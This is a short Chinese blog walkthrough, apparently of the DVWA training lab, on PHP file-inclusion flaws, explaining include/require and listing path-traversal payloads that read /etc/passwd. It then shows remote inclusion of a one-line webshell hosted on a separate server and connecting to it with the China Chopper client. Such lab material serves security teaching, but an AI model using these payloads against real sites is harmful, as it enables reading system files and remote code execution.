DVWA-文件包含
File Inclusion就是文件包含漏洞,简单说就是通过函数包含php文件的时候,由于没有对包含的文件名进行过滤处理或者处理的不是太严谨,Web脚本可能允许客户端用户输入调用包含在服务器的文件,会导致恶意代码的执行以及敏感信息的泄露。
php文件中四种包含文件的函数
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
php文件包含漏洞的一般特征如下:
?page=a.php
?home=a.html
?file=content
DVWA文件包含
几种经典的测试方法:
?file=../../../../../etc/passwdd
?page=file:///etc/passwd
?home=main.cgi
?page=../../../../../etc/passwd
http://1.1.1.1/../../../../dir/file.txt
(通过多个../可以让目录回到根目录中然后再进入目标目录)
1.打开low文件包含可以看出是三个php文件,会反馈不同的信息

2.查看源代码可以发现代码中的参数page没有做任何过滤

3.我们将page后面随便输入一个不存在的文件Angel.php测试

4.可以看出warning后面显示错误信息,找不到指定文件Angel.php并且回显了地址,我们就可以在一台服务器中构造一句话木马http://192.168.33.67/pass.php
然后登陆到http://192.168.33.76/DVWA-master/vulnerabilities/fi/?page=http://192.168.33.67/pass.php
5.结果如果包含了远端的文件,就可以用菜刀连接了

浙公网安备 33010602011771号